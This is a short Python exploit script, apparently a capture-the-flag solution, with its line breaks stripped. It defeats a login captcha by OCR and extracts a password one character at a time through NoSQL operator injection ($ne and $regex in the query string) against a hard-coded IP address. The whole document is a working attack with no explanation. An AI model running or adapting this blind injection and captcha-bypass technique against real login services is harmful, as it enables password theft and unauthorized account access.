import pytesseract import requests,string from PIL import Image import time s=requests.session() passwd='' for j in range(30): for i in string.printable: while True: time.sleep(1) r=s.get('http://123.206.213.66:45678/vertify.php') with open('yzm.jpg','wb') as f: f.write(r.content) cap=pytesseract.image_to_string(Image.open('yzm.jpg')) url='http://123.206.213.66:45678/check.php?username[$ne]=123&password[$regex]=^{}&vertify={}' print(url.format(passwd+i,cap)) r=s.get(url.format(passwd+i,cap)) print(r.text) if not 'wrong' in r.text: break if 'Nice' in r.text: passwd+=i print(passwd) break